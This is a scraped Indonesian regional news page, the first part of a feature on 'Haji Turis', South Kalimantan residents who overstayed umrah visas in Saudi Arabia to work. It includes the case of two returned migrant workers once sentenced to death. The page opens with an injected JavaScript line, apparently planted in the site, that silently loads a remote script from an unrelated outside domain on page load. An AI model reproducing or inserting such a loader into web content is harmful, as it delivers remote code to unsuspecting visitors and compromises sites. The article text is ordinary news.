(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Balada Haji Turis Banua (1)


Dua Tenaga Kerja Indonesia (TKI) asal Kalsel yang tersandung kasus hukum di Arab Saudi berhasil dipulangkan Pemerintah RI. Sabtu (14/10) malam, kedua TKI yang sebelumnya sempat divonis hukuman mati karena kasus pembunuhan tersebut tiba di Banua. Kedua TKI itu; Aminah binti H Budi asal Kabupaten Tapin dan Darmawati binti Tarjani asal Kabupaten Banjar.

Keduanya merupakan TKI ilegal. Termasuk ilegal lantaran keduanya berangkat menggunakan paspor umrah ke Arab Saudi pada tahun 1998. Saat visa umrah berakhir, keduanya tak kembali ke tanah air dan memilih tetap tinggal di Arab Saudi untuk bekerja.

‘Haji Turis’, begitu sebutan lazim untuk TKI yang bekerja di luar jalur legal pemerintah ini.

Beberapa tahun bekerja di Arab Saudi, keduanya tersandung perkara hukum karena dituding membunuh majikan. Keduanya sempat divonis hukuman mati. Untungnya di tahun 2014, pemerintah Indonesia berhasil melobi dan membuat hukuman keduanya berkurang menjadi tiga tahun kurungan dan 300 kali cambuk.

Aminah dan Darmawati hanya contoh kecil warga Banua yang nekat menjadi TKI dengan modus ‘Haji Turis’. Istilah Haji Turis ini sendiri pernah tenar di kalangan warga Banua tempo dulu hingga era tahun 2000-an, dan tak sedikit warga Banua yang melakoninya.

Istilah Haji Turis disematkan untuk jemaah haji yang berangkat ke Timur Tengah di luar aturan pemerintah. Mereka umumnya berangkat menggunakan passport umroh dengan masa berlaku hanya satu bulan. Namun setelah umroh tunai, para jemaah tidak langsung pulang. Mereka sengaja bertahan di Arab Saudi menunggu musim haji tiba. Sembari itu, warga asal Banua bekerja di Arab Saudi. Menjadi pembantu rumah tangga dan supir, yang paling banyak dilakoni. Meski untuk itu, mereka harus kucing-kucingan dengan aparat kepolisian Arab Saudi.

Pengalaman kucing-kucingan dengan aparat kepolisian Arab Saudi selama menunggu proses pelaksanaan rukun dan syarat haji diungkapkan H Hilmani. Menurut warga Desa Sungai Rangas Martapura Barat, Kabupaten Banjar yang behaji turis pada tahun 1998 ini, selama menunggu pelaksanaan haji tiba,  ia dan beberapa warga lain ditampung di rumah majikan tempat orangtuanya bekerja.


Page: 1 2

Desy Arfianty

Recent Posts

Jemaah Haji Asal Tabalong Wafat Jelang Wukuf Arafah

KANALKALIMANTAN.COM, BANJARMASIN - Kabar duka datang dari Kloter 18 Haji Embarkasi Banjarmasin, seorang jemaah haji… Read More

6 jam ago

Harga Daging Sapi Stabil di Pasar Bauntung Banjarbaru, Ayam Ras Naik Capai Rp31 Ribu per Kg

KANALKALIMANTAN.COM, BANJARBARU - Lapak penjual daging sapi di Pasar Bauntung Kota Banjarbaru Kalimantan Selatan (Kalsel)… Read More

10 jam ago

Kerukunan Mahasiswa HSU Banjarmasin Dikukuhkan, Ini Pesan Ketua DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) selalu memberikan… Read More

11 jam ago

203 Jemaah Sidrap Ditangkap di Jeddah, Pakai Visa Ziarah Bertahan untuk Berhaji

KANALKALIMANTAN.COM, JEDDAH - Tim Pengawas (Timwas) Haji DPR meminta jemaah calon haji Indonesia yang tidak… Read More

13 jam ago

KPU Banjar Launching Pilkada Kabupaten Banjar 2024

KANALKALIMANTAN.COM, MARTAPURA - Komisi Pemilihan Umum (KPU) Kabupaten Banjar meluncurkan Pemilihan Bupati dan Wakil Bupati… Read More

14 jam ago

Bakti Religi Polsek Banjarbaru Utara, Bersihkan Masjid Sambut Hari Bhayangkara ke-78

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Bhayangkara ke-78, jajaran Kepolisian Sektor (Polsek) Banjarbaru Utara melaksanakan kegiatan… Read More

16 jam ago

This website uses cookies.